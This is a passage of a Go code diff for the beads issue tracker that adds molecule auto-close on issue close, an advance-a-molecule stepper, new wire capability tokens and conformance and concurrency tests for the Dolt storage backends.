!errors.As(err, &unsup) || unsup.Capability != token { + t.Fatalf("%s = %v, want the pre-dial refusal naming %q", what, err, token) + } + } + + _, err := fixture.Lifecycle.Close(ctx, issueops.CloseRequest{Actor: "alice", IssueID: "hmold-r.1", AutoCloseMolecule: true}) + requireRefusal("Close", err, wire.CapCloseAutoCloseMolecule) + _, err = fixture.BatchCloser.CloseBatch(ctx, issueops.CloseBatchRequest{ + Actor: "alice", Items: []issueops.BatchCloseItem{{IssueID: "hmold-r.1"}}, AutoCloseMolecule: true, + }) + requireRefusal("CloseBatch", err, wire.CapCloseAutoCloseMolecule) + if got := status("hmold-r.1"); got != "open/" { + t.Errorf("the refused close's step = %s, want open/ (nothing dialed)", got) + } + + _, err = fixture.Stepper.Advance(ctx, issueops.AdvanceRequest{Actor: "alice", ClosedStepID: "hmold-r.1", AutoClaim: true}) + requireRefusal("Advance", err, advanceToken(t)) + if got := status("hmold-r.2"); got != "open/" { + t.Errorf("the refused advance's next step = %s, want open/ (nothing claimed)", got) + } +} + +// The ROLE has no anchor cap and the operation refuses more than 100: the +// client splits, and every anchor comes back once, in request order. +func TestServedEdgeReaderSplitsPastTheWireCap(t *testing.T) { + env := newServedEnv(t, "hedgecap") + ctx := t.Context() + if err := env.createIssue(ctx, &types.Issue{ID: "hedgecap-a", Title: "a", IssueType: types.TypeTask, Status: types.StatusOpen}, "t"); err != nil { + t.Fatal(err) + } + if err := env.createIssue(ctx, &types.Issue{ID: "hedgecap-b", Title: "b", IssueType: types.TypeTask, Status: types.StatusOpen}, "t"); err != nil { + t.Fatal(err) + } + if err := env.addDependency(ctx, &types.Dependency{IssueID: "hedgecap-b", DependsOnID: "hedgecap-a", Type: types.DepBlocks}, "t"); err != nil { + t.Fatal(err) + } + ids := make([]string, 0, 250) + for i := range 248 { + ids = append(ids, fmt.Sprintf("hedgecap-missing-%03d", i)) + } + ids = append(ids, "hedgecap-a", "hedgecap-b") + reader, err := env.subject.EdgeReader() + if err != nil { + t.Fatal(err) + } + res, err := reader.ReadEdges(ctx, issueops.EdgeReadRequest{IDs: ids}) + if err != nil { + t.Fatalf("ReadEdges over %d anchors: %v", len(ids), err) + } + if len(res.Anchors) != len(ids) { + t.Fatalf("ReadEdges answered %d anchors for %d", len(res.Anchors), len(ids)) + } + for i, anchor := range res.Anchors { + if anchor.ID != ids[i] { + t.Fatalf("anchor %d = %s, want %s (request order)", i, anchor.ID, ids[i]) + } + } + last := res.Anchors[len(res.Anchors)-1] + if last.Missing || len(last.Edges) != 1 || last.Edges[0].DependsOnID != "hedgecap-a" { + t.Errorf("hedgecap-b = %+v, want its one edge to hedgecap-a", last) + } + if !res.Anchors[0].Missing { + t.Errorf("an id naming nothing was not reported missing: %+v", res.Anchors[0]) + } +} + +// Against a server without issues.batchGet the role still answers: one +// getIssue per distinct id, the same rows and the same Missing. +func TestServedBatchGetterAnswersAgainstAServerWithoutTheBatch(t *testing.T) { + env := newServedEnv(t, "hbgfb") + ctx := t.Context() + if err := env.createIssue(ctx, &types.Issue{ID: "hbgfb-a", Title: "a", IssueType: types.TypeTask, Status: types.StatusOpen, Labels: []string{"x"}}, "t"); err != nil { + t.Fatal(err) + } + batchGet, _ := wire.CapabilityFor(wire.OpBatchGetIssues) + getter, err := degradedSubject(t, env, batchGet).BatchGetter() + if err != nil { + t.Fatal(err) + } + res, err := getter.GetMany(ctx, issueops.GetManyRequest{IDs: []string{"hbgfb-a", "hbgfb-nope", "hbgfb-a"}}) + if err != nil { + t.Fatalf("GetMany without issues.batchGet: %v", err) + } + if len(res.Issues) != 1 || res.Issues[0].ID != "hbgfb-a" || !slices.Equal(res.Issues[0].Labels, []string{"x"}) || res.Issues[0].RowVersion == 0 { + t.Errorf("Issues = %+v, want hbgfb-a once, labeled, with its revision", res.Issues) + } + if !slices.Equal(res.Missing, []string{"hbgfb-nope"}) { + t.Errorf("Missing = %v, want [hbgfb-nope]", res.Missing) + } +} diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go index 01fbc35cc..3c72a4a97 100644 --- a/internal/httpclient/unsupported_gen.go +++ b/internal/httpclient/unsupported_gen.go @@ -732,4 +732,4 @@ func (unsupportedDoltStorage) VersionReconciler() (_ issueops.VersionReconciler, return } -// NOTE: partial shell (143 of 200 methods generated; 57 left to this package's hand-written set). +// NOTE: partial shell (143 of 201 methods generated; 58 left to this package's hand-written set). diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index fe2918170..fa5990c7a 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -107,6 +107,9 @@ var opCapability = map[string]string{ // with a typed capability error instead of dialing a path the older server // would answer as a claim of an issue called ":reclaim". OpReclaimIssues: "issues.reclaim", + // The advance-a-molecule role (molecule.go) dials it when served and + // refuses before dialing when not; it never composes a client-side copy. + OpAdvanceMolecule: "issues.advanceMolecule", } // CapProjectEnforce is the behavior capability the server advertises to announce @@ -230,6 +233,16 @@ const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" // issueops.DefaultCreatePriority explicitly (pinCreateDefaultPriority). const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" +// CapCloseAutoCloseMolecule is the behavior capability announcing that +// closeIssue and batchCloseIssues accept `auto_close_molecule` and answer +// the auto-closed root, spelled exactly as httpapi's +// CapIssuesCloseAutoCloseMolecule. lifecycle.go and batchcloser.go send the +// member only when this is advertised; against an older server a close that +// asks for it is refused before it is dialed with the typed capability +// error — never a silent drop, and never a second, client-side copy of the +// rule. +const CapCloseAutoCloseMolecule = "issues.close.autoCloseMolecule" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -369,6 +382,7 @@ var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, + CapCloseAutoCloseMolecule, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go index 94a90b83a..08861e232 100644 --- a/internal/httpclient/wire/paths.go +++ b/internal/httpclient/wire/paths.go @@ -25,6 +25,7 @@ const ( OpGetIssue = "getIssue" OpClaimIssue = "claimIssue" OpCloseIssue = "closeIssue" + OpAdvanceMolecule = "advanceMolecule" OpReopenIssue = "reopenIssue" OpUpdateIssue = "updateIssue" OpSweepIssues = "sweepIssues" @@ -98,11 +99,12 @@ const ( // its colon must be literal — which is the whole reason escapeSegment escapes a // colon inside the id itself. const ( - MethodClaim = ":claim" - MethodClose = ":close" - MethodReopen = ":reopen" - MethodRelease = ":release" - MethodCASMetadata = ":casMetadata" + MethodClaim = ":claim" + MethodClose = ":close" + MethodReopen = ":reopen" + MethodAdvanceMolecule = ":advanceMolecule" + MethodRelease = ":release" + MethodCASMetadata = ":casMetadata" ) // The sub-resource collections that hang off the issue-detail path. Unlike a @@ -128,7 +130,7 @@ func IssuePath(id string) (string, error) { // final segment: /v0/beads/issues/{id}:claim and its two siblings. func IssueMethodPath(id, method string) (string, error) { switch method { - case MethodClaim, MethodClose, MethodReopen, MethodRelease, MethodCASMetadata: + case MethodClaim, MethodClose, MethodReopen, MethodRelease, MethodCASMetadata, MethodAdvanceMolecule: default: return "", fmt.Errorf("no custom method %q on the issue resource", method) } diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go index fe2fc7ace..ec690e114 100644 --- a/internal/httpclient/wire/skew_test.go +++ b/internal/httpclient/wire/skew_test.go @@ -110,17 +110,18 @@ func TestAgainstAFirstSliceServerEveryPostBaselineOperationRefusesWithCaseTwoDat t.Fatalf("post-baseline ops on a first-slice token = %v, want exactly [claimIssue]", compat) } // The dimension is pinned so the matrix cannot shrink silently: the first - // slice served six operations and the tip surface has forty-three, so - // thirty-seven of them are things a first-slice server has never heard of. The + // slice served six operations and the tip surface has forty-four, so + // thirty-eight of them are things a first-slice server has never heard of. The // wire wave moved this from twenty-seven to thirty — claimNext, release and // count — wave 2 to thirty-two, adding the dependency-edge count and the // related read, the mini-sync to thirty-five: the comment write and the two // config writes, the batch read (upstream #7248) to thirty-six, and the // stale-lease sweep to thirty-seven. Each is // an operation a first-slice server never served and this client does not - // yet dial, which is exactly the shape the refusal matrix is about. - if len(refused) != 37 { - t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 37", len(refused)) + // yet dial, which is exactly the shape the refusal matrix is about. The + // molecule advance (S16) makes thirty-eight. + if len(refused) != 38 { + t.Fatalf("the post-baseline set has %d operations a first-slice server never served, want 38", len(refused)) } // The compat op forces the handshake yet preflights clean: issues.claim is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index b1eb0e6a1..ea4d4d21d 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -69,6 +69,7 @@ func TestOperationIdsMatchTheServerRouteTable(t *testing.T) { {OpWatchEvents, httpapi.OpWatchEvents}, {OpBatchGetIssues, httpapi.OpBatchGetIssues}, {OpReclaimIssues, httpapi.OpReclaimIssues}, + {OpAdvanceMolecule, httpapi.OpAdvanceMolecule}, } // The table is a HAND LIST, and a hand list's failure mode is omission: a new @@ -200,10 +201,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, httpapi.CapIssuesCreateDefaultPriority, + httpapi.CapIssuesCloseAutoCloseMolecule, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ - "issues.batchApply.depAddLineage and issues.update.allowTemplate and issues.create.defaultPriority tokens", behaviorCapabilities) + "issues.batchApply.depAddLineage, issues.update.allowTemplate, issues.create.defaultPriority and issues.close.autoCloseMolecule tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 33c2fb62c..0532247bb 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -192,6 +192,13 @@ func writeShapes() []writeShape { // (#5506) and the client wave sends it (ga-jbuyf), so it left // the pending set for this one. "ExpectedVersion": member("expected_version"), + // Sent where issues.close.autoCloseMolecule is advertised. + // Against a server that does not advertise it, a close that + // asks for it is refused before dialing (the typed + // storage.ErrUnsupported naming the token), and bd close + // sends the close without it and prints the unserved + // notice instead (S16). + "AutoCloseMolecule": member("auto_close_molecule"), }, }, { @@ -456,10 +463,11 @@ func writeShapes() []writeShape { source: reflect.TypeOf(issueops.CloseBatchRequest{}), body: reflect.TypeOf(apigen.BatchCloseRequest{}), carried: map[string]carriage{ - "Actor": member("actor"), - "Items": member("items"), - "Session": member("session"), - "Force": member("force"), + "Actor": member("actor"), + "Items": member("items"), + "Session": member("session"), + "Force": member("force"), + "AutoCloseMolecule": member("auto_close_molecule"), }, }, { diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index e4a8b5a27..c3390f6ac 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -41,6 +41,7 @@ go_library( "hook_lease_reclaimer.go", "hook_memories.go", "hook_metadata_cas.go", + "hook_molecule_stepper.go", "hook_querier.go", "hook_ready_claimer.go", "hook_ready_counter.go", diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 1f79aa088..2be809cc9 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -52,6 +52,7 @@ go_library( "merge_slot.go", "metadata_cas.go", "metadata_schema.go", + "molecule_stepper.go", "open.go", "provenance.go", "pull_report.go", @@ -285,6 +286,7 @@ go_test( "metadata_validation_test.go", "migration_0052_test.go", "mixed_table_lifecycle_test.go", + "molecule_contract_test.go", "multistore_multiprocess_test.go", "open_test.go", "pool_timeouts_test.go", diff --git a/internal/storage/dolt/molecule_contract_test.go b/internal/storage/dolt/molecule_contract_test.go new file mode 100644 index 000000000..b37f5895b --- /dev/null +++ b/internal/storage/dolt/molecule_contract_test.go @@ -0,0 +1,266 @@ +package dolt + +import ( + "context" + "database/sql" + "fmt" + "sync" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestMoleculeContract runs the molecule contract (in-transaction auto-close on +// Lifecycle.Close and BatchCloser.CloseBatch, and the MoleculeStepper) against +// the server-backed store. One store, sequential subtests, ids namespaced by +// the fixture prefix. +func TestMoleculeContract(t *testing.T) { + fixture, ctx, cleanup := newDoltMoleculeFixture(t, "mol") + defer cleanup() + + for _, test := range []struct { + name string + run func(*testing.T, context.Context, conformance.MoleculeFixture) + }{ + {"CloseAutoClosesTheCompletedRoot", conformance.RunMoleculeCloseAutoClosesTheCompletedRoot}, + {"AutoCloseIsOptInAndRuleBound", conformance.RunMoleculeAutoCloseIsOptInAndRuleBound}, + {"RecloseHealsAStrandedRoot", conformance.RunMoleculeRecloseHealsAStrandedRoot}, + {"BatchCloseAutoClosesTheRootOnce", conformance.RunMoleculeBatchCloseAutoClosesTheRootOnce}, + {"RefusedRootKeepsTheStepClose", conformance.RunMoleculeRefusedRootKeepsTheStepClose}, + {"GuardedRootKeepsTheStepClose", conformance.RunMoleculeGuardedRootKeepsTheStepClose}, + {"StepperClaimsTheNextReadyStepForTheActor", conformance.RunMoleculeStepperClaimsTheNextReadyStepForTheActor}, + {"StepperNeverTakesAStepAnotherActorHolds", conformance.RunMoleculeStepperNeverTakesAStepAnotherActorHolds}, + {"StepperAnswersCompleteAndOutsideAMolecule", conformance.RunMoleculeStepperAnswersCompleteAndOutsideAMolecule}, + {"StepperClaimsAWispStep", conformance.RunMoleculeStepperClaimsAWispStep}, + } { + t.Run(test.name, func(t *testing.T) { test.run(t, ctx, fixture) }) + } +} + +func newDoltMoleculeFixture(t *testing.T, prefix string) (conformance.MoleculeFixture, context.Context, func()) { + t.Helper() + store, storeCleanup := setupTestStore(t) + ctx, cancel := testContext(t) + cleanup := func() { + cancel() + storeCleanup() + } + lifecycle, err := store.IssueLifecycle() + if err != nil { + cleanup() + t.Fatalf("IssueLifecycle(): %v", err) + } + closer, err := store.BatchCloser() + if err != nil { + cleanup() + t.Fatalf("BatchCloser(): %v", err) + } + stepper, err := store.MoleculeStepper() + if err != nil { + cleanup() + t.Fatalf("MoleculeStepper(): %v", err) + } + kit := newDoltRoleFixtureKit(store, prefix) + return conformance.MoleculeFixture{ + IssuePrefix: kit.IssuePrefix, + Lifecycle: lifecycle, + BatchCloser: closer, + Stepper: stepper, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + AddDependency: kit.AddDependency, + QueryScalar: kit.QueryScalar, + }, ctx, cleanup +} + +// seedRacingMolecule seeds an auto-closing molecule root with n open steps +// and answers the steps. +func seedRacingMolecule(t *testing.T, ctx context.Context, store *DoltStore, root string, n int) []string { + t.Helper() + if err := store.CreateIssue(ctx, &types.Issue{ID: root, Title: "molecule " + root, IssueType: types.TypeMolecule, Status: types.StatusOpen, Priority: 2}, "tester"); err != nil { + t.Fatalf("create %s: %v", root, err) + } + steps := make([]string, n) + for i := range steps { + steps[i] = fmt.Sprintf("%s.%d", root, i+1) + createPerm(t, ctx, store, steps[i]) + addDependency(t, ctx, store, steps[i], root, types.DepParentChild) + } + return steps +} + +// readStatus reads id's status from the issues table. +func readStatus(t *testing.T, ctx context.Context, store *DoltStore, id string) string { + t.Helper() + var status string + if err := store.db.QueryRowContext(ctx, "SELECT status FROM issues WHERE id = ?", id).Scan(&status); err != nil { + t.Fatalf("read %s status: %v", id, err) + } + return status +} + +// closeTwoStepsInRacingTransactions closes steps[0] and steps[1], each with +// the molecule auto-close, in two transactions that both begin before either +// closes, so each reads the other's step open: the race's interleaving, made +// deterministic. Neither may auto-close the root. It commits both and answers +// the two commit errors. +func closeTwoStepsInRacingTransactions(t *testing.T, ctx context.Context, store *DoltStore, steps []string) [2]error { + t.Helper() + var txs [2]*sql.Tx + for i := range txs { + tx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin transaction %d: %v", i, err) + } + defer tx.Rollback() // no-op after Commit; preserves cleanup on early Fatal. + txs[i] = tx + } + for i, tx := range txs { + res, _, err := issueops.ExecuteClose(ctx, tx, publicops.CloseRequest{ + Actor: "tester", IssueID: steps[i], Reason: "done", AutoCloseMolecule: true, + }) + if err != nil { + t.Fatalf("close %s: %v", steps[i], err) + } + if res.AutoClosedMolecule != nil { + t.Fatalf("close %s auto-closed %s, but in its own transaction %s is still open", steps[i], res.AutoClosedMolecule.ID, steps[1-i]) + } + } + return [2]error{txs[0].Commit(), txs[1].Commit()} +} + +// TestMoleculeAutoCloseLastStepsCannotBothMissTheRoot is the controlled +// two-transaction regression for CloseRequest.AutoCloseMolecule. The closes of +// a molecule's last two open steps, in concurrent transactions, each read the +// other step as still open, so neither closes the root, and their own writes +// touch disjoint rows. If both commit, every step is closed and the root is +// stranded open. The coordination cell both rewrite +// (issueops.TouchMoleculeCoordinationInTx) must make one of them conflict +// instead, so that its retry reads the other's close; the test below drives +// that retry through the store. +func TestMoleculeAutoCloseLastStepsCannotBothMissTheRoot(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + const root = "mol-race" + commitErrs := closeTwoStepsInRacingTransactions(t, ctx, store, seedRacingMolecule(t, ctx, store, root, 2)) + t.Logf("last-step commits: %v", commitErrs) + if commitErrs[0] == nil && commitErrs[1] == nil { + t.Fatalf("stranded molecule: both last-step closes committed and %s is %s with every step closed; one transaction must conflict", + root, readStatus(t, ctx, store, root)) + } + for i, err := range commitErrs { + if err != nil && !isSerializationError(err) { + t.Fatalf("commit %d error = %v, want a serialization conflict", i, err) + } + } +} + +// TestMoleculeAutoCloseSiblingClosesConflictBeforeTheLastStep pins the cost +// the coordination cell's docs state (issueops.TouchMoleculeCoordinationInTx, +// CloseRequest.AutoCloseMolecule, the CHANGELOG): every close under an open +// auto-closing root rewrites the cell, so two concurrent sibling closes +// conflict even while a third step keeps the molecule from completing. If this +// stops conflicting, those docs are stale. +func TestMoleculeAutoCloseSiblingClosesConflictBeforeTheLastStep(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + commitErrs := closeTwoStepsInRacingTransactions(t, ctx, store, seedRacingMolecule(t, ctx, store, "mol-siblings", 3)) + t.Logf("sibling commits: %v", commitErrs) + if commitErrs[0] == nil && commitErrs[1] == nil { + t.Fatal("two concurrent sibling closes under an open auto-closing root both committed; want one serialization conflict") + } + for i, err := range commitErrs { + if err != nil && !isSerializationError(err) { + t.Fatalf("commit %d error = %v, want a serialization conflict", i, err) + } + } +} + +// raceMoleculeCloses seeds an auto-closing molecule of n steps under root and +// closes every step at once through lifecycle, whose retry replays each close +// that loses the coordination conflict. Every close must land, and the root +// must end closed, reported by exactly one of them. +func raceMoleculeCloses(t *testing.T, ctx context.Context, store *DoltStore, lifecycle publicops.Lifecycle, root string, n int) { + t.Helper() + steps := seedRacingMolecule(t, ctx, store, root, n) + var ( + start = make(chan struct{}) + wg sync.WaitGroup + results = make([]publicops.CloseResult, n) + errs = make([]error, n) + ) + for i, step := range steps { + wg.Add(1) + go func() { + defer wg.Done() + <-start + results[i], errs[i] = lifecycle.Close(ctx, publicops.CloseRequest{ + Actor: "tester", IssueID: step, Reason: "done", AutoCloseMolecule: true, + }) + }() + } + close(start) + wg.Wait() + + reported := 0 + for i, err := range errs { + if err != nil { + t.Fatalf("close %s: %v", steps[i], err) + } + if results[i].AutoClosedMolecule != nil { + reported++ + } + } + if status := readStatus(t, ctx, store, root); status != string(types.StatusClosed) { + t.Fatalf("%s is %s after all %d of its steps closed, want closed", root, status, n) + } + if reported != 1 { + t.Errorf("%s was reported by %d closes, want exactly one", root, reported) + } +} + +// TestMoleculeAutoCloseConcurrentLastStepsCloseTheRoot races the closes of a +// molecule's last two steps through the store's Lifecycle role, whose retry +// replays the transaction that loses the coordination conflict: in every +// round the root ends closed, reported by exactly one of the two closes. +func TestMoleculeAutoCloseConcurrentLastStepsCloseTheRoot(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + lifecycle, err := store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const rounds = 8 + for round := range rounds { + raceMoleculeCloses(t, ctx, store, lifecycle, fmt.Sprintf("mol-race-%d", round), 2) + } +} + +// TestMoleculeAutoCloseSiblingFanOutClosesTheRoot closes all the steps of one +// molecule at once. They serialize on the root's coordination cell, and the +// store's retry carries every one of them to a commit: the fan-out costs +// retries, not closes, and the root is closed exactly once. +func TestMoleculeAutoCloseSiblingFanOutClosesTheRoot(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + lifecycle, err := store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + raceMoleculeCloses(t, ctx, store, lifecycle, "mol-fanout", 6) +} diff --git a/internal/storage/dolt/molecule_stepper.go b/internal/storage/dolt/molecule_stepper.go new file mode 100644 index 000000000..537e517e2 --- /dev/null +++ b/internal/storage/dolt/molecule_stepper.go @@ -0,0 +1,17 @@ +package dolt + +import ( + "github.com/steveyegge/beads/issueops" +) + +// MoleculeStepper returns the advance-a-molecule surface for this store: +// issueops.NewMoleculeStepper composed over this store's own BatchGetter, +// Relations, EdgeReader, Claimer and Lifecycle, so the advance reads and +// claims exactly as those roles do and no second copy of the rule exists. +func (s *DoltStore) MoleculeStepper() (issueops.MoleculeStepper, error) { + roles, err := issueops.MoleculeStepperRolesOf(s) + if err != nil { + return nil, err + } + return issueops.NewMoleculeStepper(roles), nil +} diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 474d6cc45..88f67c200 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -42,6 +42,7 @@ go_library( "memories.go", "merge_slot.go", "metadata_cas.go", + "molecule_stepper.go", "open.go", "open_stub.go", "querier.go", @@ -193,6 +194,7 @@ go_test( "migrate_selfheal_test.go", "migrate_temp_intermediates_test.go", "migrate_wisp_dep_forward_repair_test.go", + "molecule_contract_test.go", "new_methods_test.go", "open_test.go", "post_sql_commit_test.go", diff --git a/internal/storage/embeddeddolt/molecule_contract_test.go b/internal/storage/embeddeddolt/molecule_contract_test.go new file mode 100644 index 000000000..a268b890b --- /dev/null +++ b/internal/storage/embeddeddolt/molecule_contract_test.go @@ -0,0 +1,63 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestMoleculeContract runs the molecule contract against the embedded store. +func TestMoleculeContract(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "mol") + ctx := t.Context() + fixture := newEmbeddedMoleculeFixture(t, te, "mol") + + for _, test := range []struct { + name string + run func(*testing.T, context.Context, conformance.MoleculeFixture) + }{ + {"CloseAutoClosesTheCompletedRoot", conformance.RunMoleculeCloseAutoClosesTheCompletedRoot}, + {"AutoCloseIsOptInAndRuleBound", conformance.RunMoleculeAutoCloseIsOptInAndRuleBound}, + {"RecloseHealsAStrandedRoot", conformance.RunMoleculeRecloseHealsAStrandedRoot}, + {"BatchCloseAutoClosesTheRootOnce", conformance.RunMoleculeBatchCloseAutoClosesTheRootOnce}, + {"RefusedRootKeepsTheStepClose", conformance.RunMoleculeRefusedRootKeepsTheStepClose}, + {"GuardedRootKeepsTheStepClose", conformance.RunMoleculeGuardedRootKeepsTheStepClose}, + {"StepperClaimsTheNextReadyStepForTheActor", conformance.RunMoleculeStepperClaimsTheNextReadyStepForTheActor}, + {"StepperNeverTakesAStepAnotherActorHolds", conformance.RunMoleculeStepperNeverTakesAStepAnotherActorHolds}, + {"StepperAnswersCompleteAndOutsideAMolecule", conformance.RunMoleculeStepperAnswersCompleteAndOutsideAMolecule}, + {"StepperClaimsAWispStep", conformance.RunMoleculeStepperClaimsAWispStep}, + } { + t.Run(test.name, func(t *testing.T) { test.run(t, ctx, fixture) }) + } +} + +func newEmbeddedMoleculeFixture(t *testing.T, te *testEnv, prefix string) conformance.MoleculeFixture { + t.Helper() + lifecycle, err := te.store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + closer, err := te.store.BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + stepper, err := te.store.MoleculeStepper() + if err != nil { + t.Fatalf("MoleculeStepper(): %v", err) + } + kit := newEmbeddedRoleFixtureKit(te, prefix) + return conformance.MoleculeFixture{ + IssuePrefix: kit.IssuePrefix, + Lifecycle: lifecycle, + BatchCloser: closer, + Stepper: stepper, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + AddDependency: kit.AddDependency, + QueryScalar: kit.QueryScalar, + } +} diff --git a/internal/storage/embeddeddolt/molecule_stepper.go b/internal/storage/embeddeddolt/molecule_stepper.go new file mode 100644 index 000000000..ba81d7f5e --- /dev/null +++ b/internal/storage/embeddeddolt/molecule_stepper.go @@ -0,0 +1,19 @@ +//go:build cgo + +package embeddeddolt + +import ( + "github.com/steveyegge/beads/issueops" +) + +// MoleculeStepper returns the advance-a-molecule surface for this store: +// issueops.NewMoleculeStepper composed over this store's own BatchGetter, +// Relations, EdgeReader, Claimer and Lifecycle, so the advance reads and +// claims exactly as those roles do and no second copy of the rule exists. +func (s *EmbeddedDoltStore) MoleculeStepper() (issueops.MoleculeStepper, error) { + roles, err := issueops.MoleculeStepperRolesOf(s) + if err != nil { + return nil, err + } + return issueops.NewMoleculeStepper(roles), nil +} diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 619f4d86e..596ca2cc1 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -88,6 +88,12 @@ func (p *uowProvider) BlockingAnnotator() (publicops.BlockingAnnotator, error) { func (p *uowProvider) TreeWalker() (publicops.TreeWalker, error) { return uow.NewTreeWalker(p) } func (p *uowProvider) BatchGetter() (publicops.BatchGetter, error) { return uow.NewBatchGetter(p) } +// MoleculeStepper composes over this decorator's own roles, so the advance's +// claim answers to the external-dependency policy the claimer applies. +func (p *uowProvider) MoleculeStepper() (publicops.MoleculeStepper, error) { + return uow.NewMoleculeStepper(p) +} + func (p *uowProvider) GraphCounter() (publicops.GraphCounter, error) { return uow.NewGraphCounter(p) } @@ -188,6 +194,7 @@ var ( _ uow.IssueLifecycleSource = (*uowProvider)(nil) _ uow.IssueReaderSource = (*uowProvider)(nil) _ uow.IssueClaimerSource = (*uowProvider)(nil) + _ uow.MoleculeStepperSource = (*uowProvider)(nil) _ uow.RelationsSource = (*uowProvider)(nil) _ uow.EdgeReaderSource = (*uowProvider)(nil) _ uow.BlockingAnnotatorSource = (*uowProvider)(nil) diff --git a/internal/storage/hook_batch_closer.go b/internal/storage/hook_batch_closer.go index 730aad25a..a669f0e68 100644 --- a/internal/storage/hook_batch_closer.go +++ b/internal/storage/hook_batch_closer.go @@ -67,6 +67,9 @@ func (o *hookBatchCloser) CloseBatch(ctx context.Context, request issueops.Close if outcome.Changed { o.hooks.CompleteIssueOperationClose(outcome.Issue) } + if outcome.AutoClosedMolecule != nil { + o.hooks.CompleteIssueOperationClose(outcome.AutoClosedMolecule) + } } if result.ClaimedNext != nil { o.hooks.CompleteIssueOperationUpdate(result.ClaimedNext.Issue) diff --git a/internal/storage/hook_issue_operations.go b/internal/storage/hook_issue_operations.go index 7926a5694..2b963ebbe 100644 --- a/internal/storage/hook_issue_operations.go +++ b/internal/storage/hook_issue_operations.go @@ -70,6 +70,11 @@ func (o *hookIssueOperations) Close(ctx context.Context, request issueops.CloseR result, err := o.inner.Close(ctx, request) if err == nil { o.hooks.CompleteIssueOperationClose(result.Issue) + // A molecule root the close also closed in its transaction is a + // close of its own, and announces as one. + if result.AutoClosedMolecule != nil { + o.hooks.CompleteIssueOperationClose(result.AutoClosedMolecule) + } } return result, err } diff --git a/internal/storage/hook_molecule_stepper.go b/internal/storage/hook_molecule_stepper.go new file mode 100644 index 000000000..4c85daedb --- /dev/null +++ b/internal/storage/hook_molecule_stepper.go @@ -0,0 +1,31 @@ +package storage + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// MoleculeStepper returns the inner store's advance surface, wrapped so a +// claimed step fires on_update — the event every claim fires. An advance that +// claimed nothing wrote nothing and fires nothing. +func (h *HookFiringStore) MoleculeStepper() (issueops.MoleculeStepper, error) { + inner, err := h.inner.MoleculeStepper() + if err != nil { + return nil, err + } + return &hookMoleculeStepper{inner: inner, hooks: h}, nil +} + +type hookMoleculeStepper struct { + inner issueops.MoleculeStepper + hooks *HookFiringStore +} + +func (s *hookMoleculeStepper) Advance(ctx context.Context, 